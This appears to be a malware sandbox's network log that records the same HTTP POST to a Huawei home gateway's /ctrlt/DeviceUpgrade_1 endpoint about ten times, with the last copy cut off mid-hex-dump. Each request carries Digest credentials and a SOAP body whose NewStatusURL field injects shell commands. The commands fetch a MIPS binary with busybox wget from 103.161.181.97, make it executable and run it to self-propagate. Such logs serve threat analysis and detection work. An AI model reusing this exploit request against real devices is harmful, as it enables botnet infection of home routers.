Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 36 31 2e 31 38 31 2e 39 37 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.161.181.97 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 